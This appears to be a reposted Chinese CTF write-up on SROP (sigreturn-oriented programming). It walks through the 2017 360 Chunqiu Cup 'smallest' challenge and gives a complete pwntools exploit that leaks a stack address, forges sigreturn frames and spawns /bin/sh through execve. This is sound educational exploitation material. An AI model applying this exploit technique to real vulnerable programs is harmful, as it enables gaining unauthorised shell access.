CTF-PWN-栈溢出-高级ROP-【SROP】

news2024/11/26 18:44:01

文章目录

  • linux信息处理
  • 2017 360春秋杯 smallest
  • 检查
  • 源码
  • 思路
    • 第一次要执行ret时的栈
    • 执行write函数时
    • 修改rsp到泄露的栈地址上去
  • 输入/bin/sh并sigreturn调用
  • 系统调用回忆
  • exp
    • 注意一个离离原上谱的地方

参考链接
SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议 Oakland 2014 上,被评选为当年的 Best Student Papers。论文和PPT如下

  • 论文
  • PPT

linux信息处理

  1. 当中断或异常发送时,内核会发出一个信号给相关进程
  2. 此时系统切换到内核态,内核会执行setup_fram()函数来设置用户栈,setup_frame函数主要工作是往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同),另外还会push一个signal function的返回地址——sigruturn()的地址。
  3. 接着执行hand_signal函数,该函数会跳转到用户态执行signal handler函数
  4. 在用户态执行signal handler函数后,因为返回地址被设置为sigreturn()系统调用的地址了,所以此时系统又会陷入内核执行sigreturn()系统调用。此系统调用的主要工作是用原先push到栈中的内容来恢复寄存器的值和相关内容。当系统调用结束后,程序恢复执行。

关于sigreturn的系统调用

/*x86架构*/
    mov eax,0x77
    int 80h
/*x86_64架构*/
    mov rax,0xf
    syscall

2017 360春秋杯 smallest

检查

静态链接64位文件
在这里插入图片描述

源码

程序反汇编拖入IDA后全部就图中这些
在这里插入图片描述

思路

溢出想构造ROP链的话,没有动态链接库,本身程序gadget少得可怜,gadget不足,想ret2syscall的话,syscall的参数rax得是59,rdi得是/bin/sh的地址,rsi和rdx得为零,
但相关pop的gadget都没有,所以想通过rop系统调用不行,此时可以利用SROP,因为sigreturn系统调用会执行一系列pop的指令,这样就有机会构造execve的相关参数了

  1. 首先是rax这个比较好设置,设置成execve对应的调用号即可
  2. 其次是rdi这个得是/bin/sh的地址,/binsh找不到,只能输入到栈上3再得到其在栈上的地址
  3. 接着是rsi和rdx。这个也比较好设置,都为0就行

那如何输入并得到/bin/sh的地址呢?
首先得能够得到输入部分栈的起始地址,然后再次输入时可输入/bin/sh,然后可以进行调用系统调用execve

  1. 首先得到write函数能够输出栈基地址
    write函数对应的系统调用需要rax为1,rdi为1,rsi为栈的基地址,rdx大于8,rax唯一可修改的方式为read函数执行后会将输入的长度存到rax,此时输入一个字节,并且返回地址可从0x4000B3开始,那么,将导致可以进行write函数输出栈的基地址。那么得提前布置好第返回地址,等到第二次执行read时可以输入一个字节,并且修改返回地址一个字节后正好是0x4000b3,
  2. 此时write函数将rsp对应值输出,由于此时只能输出,返回地址还得在第一次输入就得布置好。由于此时得到了rsp值,此时可以设置为输入函数,输入对应sigframe,同时输入了返回地址为系统调用得返回地址,由于此时长度要调用到sigreturn函数得话,read输入的长度必须等于15,所以得等两次输入才行,所以一次输入sigfram和/bin/sh,返回地址为继续输入的地址,等下次输入时可只输入系统调用的地址和另外七个不影响sigfram变化的字节。然后将会先调用sigreturn然后调用execve函数

第一次要执行ret时的栈

发现存在栈上内容为栈上的地址,可泄露栈上地址,然后将rsp修改为泄露的栈位置
在这里插入图片描述

执行write函数时

第一次输入两个0x4000b0地址,,第二次输入一个字节,并将返回地址修改为0x4000b3
在这里插入图片描述

修改rsp到泄露的栈地址上去

constants.SYS_read是常量read的系统调用号
write函数后此时程序还可以输入一次,这次输入先修改返回地址为0x4000b0,使得可以再输入一次,同时输入好对应的留给的空余的下次输入的返回地址和sigfram

然后再次输入时修改返回地址为系统调用的地址,同时字节数为15,使得可以系统调用sigreturn,然后修改对应寄存器。

此时rip为系统调用地址,rsp为泄露的栈地址,对应其他参数为输入函数对应的参数

sigreturn调用完后执行rip对应的输入函数
在这里插入图片描述

输入/bin/sh并sigreturn调用

最后输入/bin/sh并构造sigfram,同时修改返回地址为输入函数
然后再输入系统调用地址和7个空字节,此时会进行sigreturn调用。调用完后rip指向系统调用,此时rax为execve的调用号,则getshell

系统调用回忆

系统调用和普通库函数调用非常相似,只是系统调用由操作系统内核提供,运行于内核核心态,而普通的库函数调用由函数库或用户自己提供,运行于用户态。

int execve(const char *filename, char *const argv[], char *const envp[]);

filename 用于指定要运行的程序的文件名,argv 和 envp 分别指定程序的运行参数和环境变量。

!!system函数不是系统调用

exp

注意一个离离原上谱的地方

python的SigreturnFrame()函数即对应之前往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同)

fram=SigreturnFrame()
fram.rax=constants.SYS_read
fram.rdi=0
fram.rsi=stack_addr
fram.rdx=0x400
fram.rsp=stack_addr
fram.rip=sys_ret
payload=p64(read_ret)+b'a' *8+bytes(fram)

这里bytes(fram)
fram里给各个寄存器赋值的地方不能赋值字节
花了大把时间才找到这个bug

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
s=process("./srop")
srop = ELF('./srop')
#gdb.attach(s,"b main")
read_ret=0x00000000004000B0
sys_ret=0x00000000004000BE
payload=p64(read_ret)*3 
s.send(payload)

#sleep(3)
s.send("\xb3") # 修改返回地址为0x4000b3

stack_addr=u64(s.recv()[8:16])
print("泄露的栈地址",hex(stack_addr))

fram=SigreturnFrame()
fram.rax=constants.SYS_read
fram.rdi=0
fram.rsi=stack_addr
fram.rdx=0x400
fram.rsp=stack_addr
fram.rip=sys_ret
payload=p64(read_ret)+b"\x00"*8+bytes(fram)
s.send(payload)
#sleep(3)

payload=p64(sys_ret)+b"\x00"*7 # rax被设置为15,ret执行系统调用sigreturn,同时空字节也没有修改sigreturnframe的结构
# 由于系统调用改变rip和rsp,执行输入函数
s.send(payload)

print("fram的长度",len(fram))


fram=SigreturnFrame()
fram.rax=constants.SYS_execve
fram.rdi=stack_addr+270
fram.rsi=0
fram.rdx=0
fram.rip=sys_ret
payload=p64(read_ret)+b"\x00"*8+bytes(fram)
payload=payload+(270-len(payload))*b"\x00"+b"/bin/sh\x00"


s.send(payload)
payload=p64(sys_ret)+b"\x00"*7
s.send(payload)

s.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1357476.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

系列十、Spring Cloud Gateway

一、Spring Cloud Gateway 1.1、概述 Spring Cloud全家桶中有个很重要的组件就是网关,在1.x版本中采用的是Zuul网关,但是在2.x版本中,由于Zuul的升级一直跳票,Spring Cloud最后自己研发了一个网关替代Zuul,即&#xf…

优雅实现微信小程序动态tabBar,根据不同用户角色显示不同底部导航——更新版(支持自由组合总数超过5个tabBar菜单)

背景 在开发小程序过程中,有个需求是,小程序底部的tabBar需要根据不同用户角色显示不同底部导航。此时就需要用到自定义底部导航 custom-tab-bar。 上次发文是组合显示4个底部tabBar导航,很多小伙伴评论说组合超过5个怎么办。他们的需求总数…

Android中的Intent

一.显式Intent 显示Intent是明确目标Activity的类名 1. 通过Intent(Context packageContext, Class<?> cls)构造方法 2.通过Intent的setComponent()方法 3.通过Intent的setClass/setClassName方法 通过Intent(Context packageContext, Class<?> cls)构造方法 通…

JVM之对象创建

对象创建的流程 1.类加载检查 虚拟机遇到一条new指令时&#xff0c;首先将去检查这个指令的参数是否能在常量池中定位到一个类的符号引用&#xff0c;并且检查这个符号引用代表的类是否已被加载、解析和初始化过。如果没有&#xff0c;那必须先执行相应的类加载过程。new指令对…

Callback Hook

一、Callback Hook 函数名&#xff1a;useCallback 用于得到一个固定引用值的函数&#xff0c;通常用它进行性能优化。 useCallback: 该函数只需要传入两个参数&#xff1a;一个回调函数和一个依赖数组即可。 1.函数&#xff0c;useCallback会固定该函数的引用&#xff0c;…

【Rust日报】Piccolo - 用纯Rust实现的无栈Lua虚拟机

Piccolo - 用纯Rust实现的无栈Lua虚拟机 Piccolo&#xff0c;原名luster&#xff0c;在经过数年的中断后&#xff0c;于2023年4月悄然恢复了开发。曾经开发过 rlua 的 kyren&#xff0c;在底层 gc-arena crate 取得突破后&#xff0c;回到了 piccolo 项目。这两个项目现在已经&…

Python:界面开发,wx入门篇

以下内容为本人的学习笔记&#xff0c;如需要转载&#xff0c;请声明原文链接 微信公众号「ENG八戒」https://mp.weixin.qq.com/s/3Yb_YAKiMte_f5HanetXiA 本文大概 3617 个字&#xff0c;阅读需花 10 分钟 内容不多&#xff0c;但也花了一些精力 如要交流&#xff0c;欢迎评…

极速 JavaScript 打包器:esbuild

文章目录 引言什么是esbuild&#xff1f;esbuild的特点esbuild如何实现如此出色的性能&#xff1f;esbuild缺点基本配置入口文件输出文件模块格式targetplatformexternalbanner和footer 高级配置插件系统自定义插件压缩代码调试代码 结论&#x1f636; 写在结尾 引言 esbuild是…

leetcode:724. 寻找数组的中心下标

一、题目 二、函数原型 int pivotIndex(int* nums, int numsSize) 三、思路 首先要理解正确中心下标&#xff0c;中心下标左侧元素之和等于右侧元素之和&#xff0c;比较时是不包含中心下标所指元素的。 先将数组和求出来记为sum&#xff0c;再遍历数组&#xff0c;遍历到…

快速批量运行命令

Ansible 是 redhat 提供的自动化运维工具&#xff0c;它是 Python编写&#xff0c;可以通过 pip 安装。 pip install ansible 它通过任务(task)、角色(role)、剧本(playbook) 组织工作项目&#xff0c;适用于批量化系统配置、软件部署等需要复杂操作的工作。 但对于批量运行命…

pytorch集智-1安装与简单使用

1 安装 1.1 简介 pytorch可用gpu加速&#xff0c;也可以不加速。gpu加速是通过cuda来实现&#xff0c;cuda是nvidia推出的一款运算平台&#xff0c;它可以利用gpu提升运算性能。 所以如果要装带加速的pytorch&#xff0c;需要先装cuda&#xff0c;再装pytorch&#xff0c;如…

【重点】【BFS】542.01矩阵

题目 法1&#xff1a;经典BFS 下图中就展示了我们方法&#xff1a; class Solution {public int[][] updateMatrix(int[][] mat) {int m mat.length, n mat[0].length;int[][] dist new int[m][n];boolean[][] used new boolean[m][n];Queue<int[]> queue new Li…

excel中解决多行文本自动调整行高后打印预览还是显示不全情况

注意&#xff1a;此方法对于多行合并后单元格行高调整不适用&#xff0c;需要手动调整&#xff0c;如大家有简便方法&#xff0c;欢迎评论。 一、调整表格为自动调整行高 1&#xff09;点击此处全选表格 2&#xff09;在第一行序号单元格的下端&#xff0c;鼠标成黑十字时&am…

【React系列】父子组件通信—props属性传值

本文来自#React系列教程&#xff1a;https://mp.weixin.qq.com/mp/appmsgalbum?__bizMzg5MDAzNzkwNA&actiongetalbum&album_id1566025152667107329) 一. 认识组件的嵌套 组件之间存在嵌套关系&#xff1a; 在之前的案例中&#xff0c;我们只是创建了一个组件App&…

机器人制作开源方案 | 清洁机器人

作者&#xff1a;胡志宇、白永康、颉志国、刘昭迅、王维浩 单位&#xff1a;北京石油化工学院 指导老师&#xff1a;陈亚、王殿军 1. 设计方案论证 1.1 清洁机器人方案选择 目前&#xff0c;市场上清洁机器人比比皆是&#xff0c;各大品牌之间的竞争也相当激烈&#xff0c;…

docker kafka go demo

配置 创建网桥 docker network create app-tier --driver bridge拉取并启动镜像 docker run -d --name kafka-server --hostname kafka-server \--network app-tier \-p 9092:9092 \-e ALLOW_PLAINTEXT_LISTENERyes \-e KAFKA_CFG_ADVERTISED_LISTENERSPLAINTEXT://192.168.…

链表--206. 反转链表/easy

206. 反转链表 1、题目2、题目分析3、解题步骤4、复杂度最优解代码示例5、抽象与扩展 1、题目 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[5,4,3,2,1]示例 2…

【大数据进阶第二阶段之Hadoop学习笔记】Hadoop 运行环境搭建

【大数据进阶第二阶段之Hadoop学习笔记】Hadoop 概述-CSDN博客 【大数据进阶第二阶段之Hadoop学习笔记】Hadoop 运行环境搭建-CSDN博客 【大数据进阶第二阶段之Hadoop学习笔记】Hadoop 运行模式-CSDN博客 1、模板虚拟机环境准备 1.1、 hadoop100 虚拟机配置要求如下 &…

如何通过Python将各种数据写入到Excel工作表

在数据处理和报告生成等工作中&#xff0c;Excel表格是一种常见且广泛使用的工具。然而&#xff0c;手动将大量数据输入到Excel表格中既费时又容易出错。为了提高效率并减少错误&#xff0c;使用Python编程语言来自动化数据写入Excel表格是一个明智的选择。Python作为一种简单易…

【Spring进阶系列丨第六篇】Spring的Bean管理(基于注解)

文章目录 一、说明二、用于创建对象的2.1、Component注解2.1.1、定义Bean2.1.2、主配置文件配置扫描注解2.1.3、测试2.1.4、Component注解总结 2.2、Controller注解2.3、Service注解2.4、Repository注解 三、用于注入数据的3.1、Autowired注解3.1.1、定义Bean3.1.2、主配置文件…